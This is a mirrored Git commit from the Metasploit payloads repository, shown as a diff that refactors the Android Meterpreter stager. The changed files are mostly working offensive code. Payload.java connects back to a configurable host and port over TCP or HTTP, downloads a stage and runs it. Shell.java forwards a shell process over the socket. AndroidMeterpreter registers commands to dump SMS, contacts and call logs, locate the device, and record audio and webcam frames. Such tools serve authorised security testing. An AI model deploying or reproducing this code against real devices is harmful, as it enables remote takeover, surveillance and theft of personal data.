1
mirror of https://github.com/rapid7/metasploit-payloads synced 2024-12-21 05:35:54 +01:00

don't pass android context through meterpreter

This commit is contained in:
Tim 2014-11-27 22:32:03 +00:00
parent 52912ac812
commit 882937154b
7 changed files with 125 additions and 172 deletions

View File

@ -8,7 +8,7 @@ public class MainActivity extends Activity
@Override @Override
protected void onCreate(Bundle savedInstanceState) { protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState); super.onCreate(savedInstanceState);
Payload.startWithContext(this); Payload.startInPath(getFilesDir().toString());
finish(); finish();
} }
} }

View File

@ -1,80 +1,32 @@
package com.metasploit.stage; package com.metasploit.stage;
import android.content.Context;
import android.os.Handler;
import android.os.Looper;
import java.io.DataInputStream; import java.io.DataInputStream;
import java.io.DataOutputStream; import java.io.DataOutputStream;
import java.io.File; import java.io.File;
import java.io.FileOutputStream; import java.io.FileOutputStream;
import java.io.OutputStream; import java.io.OutputStream;
import java.lang.reflect.Method; import java.net.HttpURLConnection;
import java.net.Socket; import java.net.Socket;
import java.net.URL;
import java.net.URLConnection;
import java.util.Random; import java.util.Random;
import javax.net.ssl.HttpsURLConnection; import javax.net.ssl.HttpsURLConnection;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import dalvik.system.DexClassLoader; import dalvik.system.DexClassLoader;
public class Payload { public class Payload {
final static int URI_CHECKSUM_INITJ = 88; public static final String LHOST = "XXXX127.0.0.1 ";
final static String AB = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; public static final String LPORT = "YYYY4444 ";
public static final String URL = "ZZZZ ";
public static final String LHOST = "XXXX127.0.0.1 "; public static final String TRIALS = "TTTT ";
public static final String LPORT = "YYYY4444 ";
public static final String URL = "ZZZZ ";
public static final String TRIALS = "TTTT ";
public static Context context;
static Random rnd = new Random();
public static void start() { private static final int URI_CHECKSUM_INITJ = 88;
if (context == null) { private static final String AB = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
try { private static final Random rnd = new Random();
final Class<?> activityThreadClass = Class.forName("android.app.ActivityThread");
final Method currentApplication = activityThreadClass.getMethod("currentApplication");
context = (Context) currentApplication.invoke(null, (Object[]) null);
if (context == null) {
Handler handler = new Handler(Looper.getMainLooper());
handler.post(new Runnable() {
@Override
public void run() {
Context application = null;
try {
application = (Context) currentApplication.invoke(null, (Object[]) null);
} catch (Exception e) {
e.printStackTrace();
}
if (application != null) {
startWithContext(application);
} else {
startAsync();
}
}
});
} else {
startWithContext(context);
}
} catch (Exception e) {
e.printStackTrace();
}
} else {
startWithContext(context);
}
}
public static void startWithContext(Context context) { private static String[] parameters;
Payload.context = context.getApplicationContext();
// Set the working directory somewhere writeable
System.setProperty("user.dir", context.getFilesDir().getAbsolutePath());
startAsync();
}
public static void startAsync() { public static void startAsync() {
new Thread() { new Thread() {
@ -86,8 +38,16 @@ public class Payload {
}.start(); }.start();
} }
public static void main(String[] args) { public static void startInPath(String path) {
parameters = new String[] { path };
startAsync();
}
public static void main(String[] args) {
if (args != null) {
parameters = new String[] { "/data/data/com.metasploit.stage/" };
parameters = new String[] { "/data/local/tmp/" };
}
int nTrials = Integer.parseInt(TRIALS.substring(4).trim()); int nTrials = Integer.parseInt(TRIALS.substring(4).trim());
while (!startReverseConn() && nTrials-- > 0) { while (!startReverseConn() && nTrials-- > 0) {
try { try {
@ -99,10 +59,11 @@ public class Payload {
private static boolean startReverseConn() { private static boolean startReverseConn() {
try { try {
if (URL.substring(4).trim().length() == 0) if (URL.substring(4).trim().length() == 0) {
reverseTCP(); reverseTCP();
else } else {
reverseHTTP(); reverseHTTP();
}
return true; return true;
} catch (Exception e) { } catch (Exception e) {
@ -110,25 +71,26 @@ public class Payload {
} }
} }
static String randomString(int len) { private static String randomString(int len) {
StringBuilder sb = new StringBuilder(len); StringBuilder sb = new StringBuilder(len);
for (int i = 0; i < len; i++) for (int i = 0; i < len; i++) {
sb.append(AB.charAt(rnd.nextInt(AB.length()))); sb.append(AB.charAt(rnd.nextInt(AB.length())));
}
return sb.toString(); return sb.toString();
} }
static int checksumText(String s) { private static int checksumText(String s) {
int tmp = 0; int tmp = 0;
for (int i = 0; i < s.length(); i++) for (int i = 0; i < s.length(); i++) {
tmp += (int) s.charAt(i); tmp += (int) s.charAt(i);
}
return tmp % 0x100; return tmp % 0x100;
} }
private static void reverseHTTP() throws Exception { private static void reverseHTTP() throws Exception {
int checksum = 0; int checksum;
String URI; String URI;
HttpURLConnection urlConn; HttpURLConnection urlConn;
String lurl = URL.substring(4).trim(); String lurl = URL.substring(4).trim();
while (true) { while (true) {
@ -138,7 +100,7 @@ public class Payload {
break; break;
} }
String FullURI = "/" + URI.toString(); String FullURI = "/" + URI;
URL url = new URL(lurl + FullURI + "_" + randomString(16)); URL url = new URL(lurl + FullURI + "_" + randomString(16));
@ -147,22 +109,36 @@ public class Payload {
Class.forName("com.metasploit.stage.PayloadTrustManager") Class.forName("com.metasploit.stage.PayloadTrustManager")
.getMethod("useFor", new Class[] { URLConnection.class }) .getMethod("useFor", new Class[] { URLConnection.class })
.invoke(null, new Object[] { urlConn }); .invoke(null, new Object[] { urlConn });
} else } else {
urlConn = (HttpURLConnection) url.openConnection(); urlConn = (HttpURLConnection) url.openConnection();
}
urlConn.setDoInput(true); urlConn.setDoInput(true);
urlConn.setRequestMethod("GET"); urlConn.setRequestMethod("GET");
urlConn.connect(); urlConn.connect();
DataInputStream in = new DataInputStream(urlConn.getInputStream()); DataInputStream in = new DataInputStream(urlConn.getInputStream());
loadStage(in, null, context, new String[] {}); loadStage(in, null, parameters);
urlConn.disconnect(); urlConn.disconnect();
} }
private static void loadStage(DataInputStream in, OutputStream out, private static void reverseTCP() {
Context context, String[] parameters) throws Exception { try {
String lhost = LHOST.substring(4).trim();
String lport = LPORT.substring(4).trim();
Socket msgsock = new Socket(lhost, Integer.parseInt(lport));
DataInputStream in = new DataInputStream(msgsock.getInputStream());
OutputStream out = new DataOutputStream(msgsock.getOutputStream());
loadStage(in, out, parameters);
String path = new File(".").getAbsolutePath(); } catch (Exception e) {
e.printStackTrace();
}
}
private static void loadStage(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
String path = parameters[0];
String filePath = path + File.separatorChar + "payload.jar"; String filePath = path + File.separatorChar + "payload.jar";
String dexPath = path + File.separatorChar + "payload.dex"; String dexPath = path + File.separatorChar + "payload.dex";
@ -195,23 +171,7 @@ public class Payload {
new File(dexPath).delete(); new File(dexPath).delete();
myClass.getMethod( myClass.getMethod(
"start", "start",
new Class[] { DataInputStream.class, OutputStream.class, new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(stage,
Context.class, String[].class }).invoke(stage, new Object[] { in, out, parameters });
new Object[] { in, out, context, new String[] {}, });
} }
private static void reverseTCP() {
try {
String lhost = LHOST.substring(4).trim();
String lport = LPORT.substring(4).trim();
Socket msgsock = new Socket(lhost, Integer.parseInt(lport));
DataInputStream in = new DataInputStream(msgsock.getInputStream());
OutputStream out = new DataOutputStream(msgsock.getOutputStream());
loadStage(in, out, context, new String[] {});
} catch (Exception e) {
e.printStackTrace();
}
}
} }

View File

@ -88,9 +88,9 @@
<copy todir="${project.basedir}/target/dx/shell"> <copy todir="${project.basedir}/target/dx/shell">
<fileset dir="${project.basedir}/target/classes"> <fileset dir="${project.basedir}/target/classes">
<include name="androidpayload/stage/Shell.class" /> <include name="androidpayload/stage/Shell.class" />
<include name="androidpayload/stage/Stage.class" />
</fileset> </fileset>
<zipfileset src="${com.metasploit:Metasploit-JavaPayload:jar}" includes="javapayload/stage/StreamForwarder.class" /> <zipfileset src="${com.metasploit:Metasploit-JavaPayload:jar}" includes="javapayload/stage/StreamForwarder.class" />
<zipfileset src="${com.metasploit:Metasploit-JavaPayload:jar}" includes="javapayload/stage/Stage.class" />
</copy> </copy>
<exec executable="${android.sdk.path}/platforms/android-3/tools/${dx.filename}" failonerror="true"> <exec executable="${android.sdk.path}/platforms/android-3/tools/${dx.filename}" failonerror="true">
<arg value="--verbose" /> <arg value="--verbose" />
@ -104,8 +104,8 @@
<copy todir="${project.basedir}/target/dx/metstage"> <copy todir="${project.basedir}/target/dx/metstage">
<fileset dir="${project.basedir}/target/classes"> <fileset dir="${project.basedir}/target/classes">
<include name="androidpayload/stage/Meterpreter.class" /> <include name="androidpayload/stage/Meterpreter.class" />
<include name="androidpayload/stage/Stage.class" />
</fileset> </fileset>
<zipfileset src="${com.metasploit:Metasploit-JavaPayload:jar}" includes="javapayload/stage/Stage.class" />
</copy> </copy>
<exec executable="${android.sdk.path}/platforms/android-3/tools/${dx.filename}" failonerror="true"> <exec executable="${android.sdk.path}/platforms/android-3/tools/${dx.filename}" failonerror="true">
<arg value="--verbose" /> <arg value="--verbose" />
@ -117,7 +117,9 @@
<echo>Building meterpreter</echo> <echo>Building meterpreter</echo>
<mkdir dir="${project.basedir}/target/dx/meterpreter" /> <mkdir dir="${project.basedir}/target/dx/meterpreter" />
<copy todir="${project.basedir}/target/dx/meterpreter"> <copy todir="${project.basedir}/target/dx/meterpreter">
<fileset dir="${project.basedir}/target/classes" includes="com/metasploit/meterpreter/**/*.class" /> <fileset dir="${project.basedir}/target/classes">
<include name="com/metasploit/meterpreter/**/*.class" />
</fileset>
</copy> </copy>
<exec executable="${android.sdk.path}/platforms/android-3/tools/${dx.filename}" failonerror="true"> <exec executable="${android.sdk.path}/platforms/android-3/tools/${dx.filename}" failonerror="true">
<arg value="--verbose" /> <arg value="--verbose" />

View File

@ -1,24 +1,21 @@
package androidpayload.stage; package androidpayload.stage;
import dalvik.system.DexClassLoader;
import android.content.Context;
import java.io.DataInputStream; import java.io.DataInputStream;
import java.io.File; import java.io.File;
import java.io.FileOutputStream; import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStream; import java.io.OutputStream;
import java.util.Random;
import dalvik.system.DexClassLoader;
import javapayload.stage.Stage;
/** /**
* Meterpreter Java Payload Proxy * Meterpreter Java Payload Proxy
*/ */
public class Meterpreter implements Stage { public class Meterpreter implements Stage {
public void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception { public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
String path = new File(".").getAbsolutePath(); String path = parameters[0];
String filePath = path + File.separatorChar + "met.jar"; String filePath = path + File.separatorChar + "met.jar";
String dexPath = path + File.separatorChar + "met.dex"; String dexPath = path + File.separatorChar + "met.dex";
@ -43,7 +40,7 @@ public class Meterpreter implements Stage {
file.delete(); file.delete();
new File(dexPath).delete(); new File(dexPath).delete();
myClass.getConstructor(new Class[] { myClass.getConstructor(new Class[] {
DataInputStream.class, OutputStream.class, Context.class, boolean.class DataInputStream.class, OutputStream.class, String[].class, boolean.class
}).newInstance(in, out, context, false); }).newInstance(in, out, parameters, false);
} }
} }

View File

@ -1,11 +1,10 @@
package androidpayload.stage; package androidpayload.stage;
import android.content.Context;
import java.io.DataInputStream; import java.io.DataInputStream;
import java.io.OutputStream; import java.io.OutputStream;
import javapayload.stage.Stage;
import javapayload.stage.StreamForwarder; import javapayload.stage.StreamForwarder;
/** /**
@ -13,7 +12,7 @@ import javapayload.stage.StreamForwarder;
*/ */
public class Shell implements Stage { public class Shell implements Stage {
public void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception { public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
final Process proc = Runtime.getRuntime().exec("sh"); final Process proc = Runtime.getRuntime().exec("sh");
new StreamForwarder(in, proc.getOutputStream(), out).start(); new StreamForwarder(in, proc.getOutputStream(), out).start();
new StreamForwarder(proc.getInputStream(), out, out).start(); new StreamForwarder(proc.getInputStream(), out, out).start();

View File

@ -1,44 +0,0 @@
/*
* Java Payloads.
*
* Copyright (c) 2010, 2011 Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package androidpayload.stage;
import android.content.Context;
import java.io.DataInputStream;
import java.io.OutputStream;
public interface Stage {
public abstract void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception;
}

View File

@ -1,12 +1,17 @@
package com.metasploit.meterpreter; package com.metasploit.meterpreter;
import java.io.DataInputStream;
import java.io.File;
import java.io.OutputStream;
import android.content.Context; import android.content.Context;
import android.os.Handler;
import android.os.Looper;
import android.util.Log;
import com.metasploit.meterpreter.android.check_root_android;
import com.metasploit.meterpreter.android.dump_calllog_android;
import com.metasploit.meterpreter.android.dump_contacts_android;
import com.metasploit.meterpreter.android.dump_sms_android;
import com.metasploit.meterpreter.android.geolocate_android;
import com.metasploit.meterpreter.android.stdapi_fs_file_expand_path_android; import com.metasploit.meterpreter.android.stdapi_fs_file_expand_path_android;
import com.metasploit.meterpreter.android.stdapi_sys_config_sysinfo_android;
import com.metasploit.meterpreter.android.stdapi_sys_process_get_processes_android; import com.metasploit.meterpreter.android.stdapi_sys_process_get_processes_android;
import com.metasploit.meterpreter.android.webcam_audio_record_android; import com.metasploit.meterpreter.android.webcam_audio_record_android;
import com.metasploit.meterpreter.android.webcam_get_frame_android; import com.metasploit.meterpreter.android.webcam_get_frame_android;
@ -35,32 +40,66 @@ import com.metasploit.meterpreter.stdapi.stdapi_net_socket_tcp_shutdown_V1_3;
import com.metasploit.meterpreter.stdapi.stdapi_sys_config_getuid; import com.metasploit.meterpreter.stdapi.stdapi_sys_config_getuid;
import com.metasploit.meterpreter.stdapi.stdapi_sys_process_execute_V1_3; import com.metasploit.meterpreter.stdapi.stdapi_sys_process_execute_V1_3;
import com.metasploit.meterpreter.android.check_root_android; import java.io.DataInputStream;
import com.metasploit.meterpreter.android.dump_calllog_android; import java.io.File;
import com.metasploit.meterpreter.android.dump_contacts_android; import java.io.OutputStream;
import com.metasploit.meterpreter.android.dump_sms_android; import java.lang.reflect.Method;
import com.metasploit.meterpreter.android.geolocate_android;
import com.metasploit.meterpreter.android.stdapi_sys_config_sysinfo_android;
public class AndroidMeterpreter extends Meterpreter { public class AndroidMeterpreter extends Meterpreter {
private static String writeableDir;
private static Context context; private static Context context;
private void findContext() throws Exception {
final Class<?> activityThreadClass = Class.forName("android.app.ActivityThread");
final Method currentApplication = activityThreadClass.getMethod("currentApplication");
context = (Context) currentApplication.invoke(null, (Object[]) null);
Log.e(getClass().getName(), "context " + context);
if (context == null) {
Handler handler = new Handler(Looper.getMainLooper());
handler.post(new Runnable() {
@Override
public void run() {
try {
context = (Context) currentApplication.invoke(null, (Object[]) null);
Log.e(getClass().getName(), "curcontext " + context);
} catch (Exception e) {
e.printStackTrace();
}
try {
startExecuting();
} catch (Exception e) {
e.printStackTrace();
}
}
});
} else {
startExecuting();
}
}
public static Context getContext() { public static Context getContext() {
return context; return context;
} }
public AndroidMeterpreter(DataInputStream in, OutputStream rawOut, Context context, boolean redirectErrors) throws Exception { public AndroidMeterpreter(DataInputStream in, OutputStream rawOut, String[] parameters, boolean redirectErrors) throws Exception {
super(in, rawOut, true, redirectErrors, false); super(in, rawOut, true, redirectErrors, false);
AndroidMeterpreter.context = context; writeableDir = parameters[0];
startExecuting(); Log.e(getClass().getName(), "dir " + writeableDir);
try {
findContext();
} catch (Exception e) {
e.printStackTrace();
Log.e(getClass().getName(), "except " + e.toString());
startExecuting();
}
} }
@Override @Override
public String[] loadExtension(byte[] data) throws Exception { public String[] loadExtension(byte[] data) throws Exception {
getCommandManager().resetNewCommands(); getCommandManager().resetNewCommands();
CommandManager mgr = getCommandManager(); CommandManager mgr = getCommandManager();
Loader.cwd = new File(".").getAbsoluteFile(); Loader.cwd = new File(writeableDir);
mgr.registerCommand("channel_create_stdapi_fs_file", channel_create_stdapi_fs_file.class); mgr.registerCommand("channel_create_stdapi_fs_file", channel_create_stdapi_fs_file.class);
mgr.registerCommand("channel_create_stdapi_net_tcp_client", channel_create_stdapi_net_tcp_client.class); mgr.registerCommand("channel_create_stdapi_net_tcp_client", channel_create_stdapi_net_tcp_client.class);
mgr.registerCommand("channel_create_stdapi_net_tcp_server", channel_create_stdapi_net_tcp_server.class); mgr.registerCommand("channel_create_stdapi_net_tcp_server", channel_create_stdapi_net_tcp_server.class);